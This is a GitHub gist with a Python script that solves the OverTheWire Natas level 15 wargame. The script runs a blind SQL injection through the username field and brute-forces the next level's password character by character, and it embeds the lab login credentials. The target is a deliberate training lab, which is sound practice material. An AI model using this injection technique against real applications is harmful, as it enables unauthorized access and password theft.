Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save paulbrodner/1cfa662a2faa1a03c42645f33237f564 to your computer and use it in GitHub Desktop.

Select an option

Save paulbrodner/1cfa662a2faa1a03c42645f33237f564 to your computer and use it in GitHub Desktop.
#!/usr/bin/python3
import requests, string
def login(char):
response = requests.post(
"http://natas15.natas.labs.overthewire.org/index.php",
auth=("natas15", "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"),
headers={
"Content-Type": "application/x-www-form-urlencoded",
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
},
params={
"username": 'natas16" and password LIKE BINARY ' +'"'+ char+ '%',
"debug": True
}
)
if "This user exists" in str(response.content):
return True
else:
return False
characters = ''.join([string.ascii_letters, string.digits])
passwords = []
# because this is the length of pwd in the db
while len(passwords)<=32:
for c in characters:
if len(passwords)>0:
possible_pwd = ''.join(passwords) + c
print(f"Partial password: {possible_pwd}")
else:
possible_pwd = c
if login(possible_pwd):
passwords.append(c)
print(f"Print the password is: {passwords}")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment